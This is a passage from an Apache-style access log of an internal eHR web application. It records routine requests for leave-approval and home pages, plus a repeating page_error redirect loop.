/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10448 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10448 192.168.12.59 - - [01/Dec/2025:08:35:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34444 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:07 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 34444 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132638%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132638&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132638%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132638&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:17 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [01/Dec/2025:08:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [01/Dec/2025:08:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.014050292610574555 HTTP/1.1" 302 - 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess HTTP/1.1" 301 241 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess HTTP/1.1" 301 241 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:36:58 +0800] "GET /eHR/ess/ HTTP/1.1" 200 8826 192.168.11.104 - - 